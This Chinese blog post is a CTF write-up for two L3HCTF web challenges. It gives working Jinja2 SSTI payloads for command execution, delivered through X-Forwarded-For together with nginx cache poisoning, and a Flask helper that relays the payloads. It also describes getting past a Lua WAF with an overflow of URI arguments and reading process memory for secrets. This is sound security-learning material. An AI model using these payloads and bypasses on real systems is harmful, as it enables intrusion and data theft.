Skip to content

L3HCTF WP

约 1320 字大约 4 分钟

CTF

2025-07-17

很久没整理 wp 发博客了,等忙完最近这众所周知的事情会复现然后补一下之前的几场,一旦不写文章就会变懒,上半年很多精彩的比赛都没有很好的去复盘和学习

前言

第一次在阴间作息下的比赛,算是在第九届一个相对满意的成绩结束,分站赛第一次进前十(强队没有全来打导致的,赛季初能进前20就不错了),最后总排24,太微妙的名次,如果进了 final 的话那就是老天赏饭吃。web 依旧是中规中矩,勉强不拖后腿,最近重要比赛都因为各种原因第一时间无法参与,导致在联队里打不出什么成绩,下学期专心再打半年吧。

best_profile

这道题在调试排坑上耗费了我太多时间,不够理性和熟练导致的,我好像没了调试就不会做题

逻辑很清楚,xff 带着恶意 ip 去在get_last_ip 接口写入界面,ip_detail 访问造成 SSTI ,但是需要认证

方法是 nginx对于静态文件的缓存利用,注册一个.js 这种静态文件后缀的用户就会在第一次被访问之后缓存,先在 /get_last_ip/ 路由携带者正确的恶意 ip 后访问写进去,后续请求不走后端,读缓存

5c2948ed-070f-4619-93d6-03fb195e583d

44727b77-718e-43d1-bc21-b40072701d94

c6f67042-4d02-403c-9565-db80f3a6fe2d

但是这里会因为

4dfae03e-51a6-4c9c-8074-acd0c48dd3ea

导致一些符号出现转义,这个地方卡了我一下,写个转接头给 fenjing,他跑不出来的我也不会,这里有更好的写法

from flask import Flask, request, render_template_string
import re
import requests
import os

app = Flask(__name__)

@app.route("/template", methods=["GET", "POST"])
def template():
    cache_dir = "/cache"
    if os.path.exists(cache_dir):
        for f in os.listdir(cache_dir):
            file_path = os.path.join(cache_dir, f)
            try:
                if os.path.isfile(file_path):
                    os.remove(file_path)
                elif os.path.isdir(file_path):
                    import shutil
                    shutil.rmtree(file_path)
            except Exception as e:
                print(f"Error deleting {file_path}: {e}")

    if request.method == "GET":
        return '''
        <form method="post">
            <input name="code" placeholder="Enter Jinja2 template">
            <button type="submit">Run</button>
        </form>
        '''

    template_code = request.form.get("code", "")

    import requests

# === 配置 ===
    session_cookie = ".eJwlzrsNwzAMBcBdVKegqB_pZQyJfETS2nEVZPcYyAAH3CftceB8pu19XHik_eVpS8acXYGmZY7gJqYVBdkj1K3NrCMaT4puwx1cPAvVZV0EWds0wRy5SBssDqgO8qIBvWXAqIc4E5UlxFYRmEWirk6oo-cq6Y5cJ47_pqfvDxXwL_4.aHLZWw.pRBOKD7wLAv_HPBhI84kOH1yiUc" 
    payload = template_code

    headers = {
        "Cookie": f"session={session_cookie}",
        "X-Forwarded-For": payload
    }

    url1 = "http://172.22.33.254/489.js"
    url2 = "http://172.22.33.254/get_last_ip/489.js"
    url3 = "http://172.22.33.254/ip_detail/489.js"

    res1 = requests.get(url1, headers=headers)

    res2 = requests.get(url2, headers={"Cookie": f"session={session_cookie}"})

    # res3 = requests.get(url3, headers={"Cookie": f"session={session_cookie}"})
    content = res2.text
    result = match = re.search(r"<p>(.*?)</p>", content, re.S)
    if not match:
        return "No <p> found!"
    extracted = match.group(1)

    # === 把提取到的做二次 Jinja2 渲染 ===
    result = render_template_string(extracted)

    return result

if __name__ == "__main__":
    app.run(port=5001, debug=True)

最后的 poc

X-Forwarded-For: {{_1919.__eq__.__globals__.__builtins__.eval((lipsum|escape|batch(22)|first|last)+(lipsum|escape|batch(22)|first|last)+e|pprint|lower|batch(6)|first|last+x|map|string|batch(27)|first|last+x|map|string|batch(29)|first|last+e|slice(9)|string|batch(9)|first|last+e|slice(6)|string|batch(6)|first|last+e|slice(8)|string|batch(8)|first|last+(lipsum|escape|batch(22)|first|last)+(lipsum|escape|batch(22)|first|last)+()|e|list|batch(1)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+e|slice(9)|string|batch(9)|first|last+e|slice(19)|string|batch(19)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+()|e|list|batch(2)|first|last+cycler|e|list|batch(22)|first|last+x|map|string|batch(29)|first|last+e|slice(9)|string|batch(9)|first|last+x|map|string|batch(29)|first|last+e|pprint|lower|batch(4)|first|last+e|pprint|lower|batch(2)|first|last+()|e|list|batch(1)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+()|e|list|batch(2)|first|last+cycler|e|list|batch(22)|first|last+e|slice(6)|string|batch(6)|first|last+e|pprint|lower|batch(4)|first|last+e|slice(7)|string|batch(7)|first|last+e|pprint|lower|batch(3)|first|last+()|e|list|batch(1)|first|last+()|e|list|batch(2)|first|last)}}

官方给的更简洁的 poc

{{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.cmd).read() }}

gateway_advance

一个 OpenResty + nginx + Lua 脚本去实现 waf 的题,第一次见这个,挺有意思的

OpenResty 本质上是对 Nginx 的增强版,内置了 ngx_lua 模块,让 Nginx 可以直接运行 Lua 脚本。 这样就可以在 HTTP 请求生命周期的各个阶段(如 rewrite/access/content/filter)插入 Lua 脚本,动态处理请求。

local args = ngx.req.get_uri_args()

在请求参数过多时会出现解析问题,一般的默认长度为100,如果我们大于这个就可以造成绕过

任意文件读取下,关闭了flag的读取但是没关passwd的,会残留fd,本地有个fd10但是读不出来,尝试遍历读取,然后 Range 分块读取去规避检测回显

3ea5af4f-4a6f-4f4e-ac1d-720a99804f64

3283a9f2-b5aa-4e45-a66d-561ff4f7f9fb

拿到密码访问 /read_anywhere路由进行读取(前面 static 路由的任意文件读取无法实现对 /proc/self/mem 这种虚拟文件系统进行读取,因为这些文件获取到的文件大小为 0)。先读取内存映射 /proc/self/maps,根据对应的内存范围读取 /proc/self/mem 扫描 flag。

这里我不太懂内存地址,看到有个 delete 就直接去看了这个地址,实际应该去扫

f3e1ccb0-6152-4c71-b422-f63555cb4f42

b4228b02-8165-4894-93e6-4310bbbb56ec

那个 misc 不写了,php 和 java 的题打完国赛学着写一下,先开个头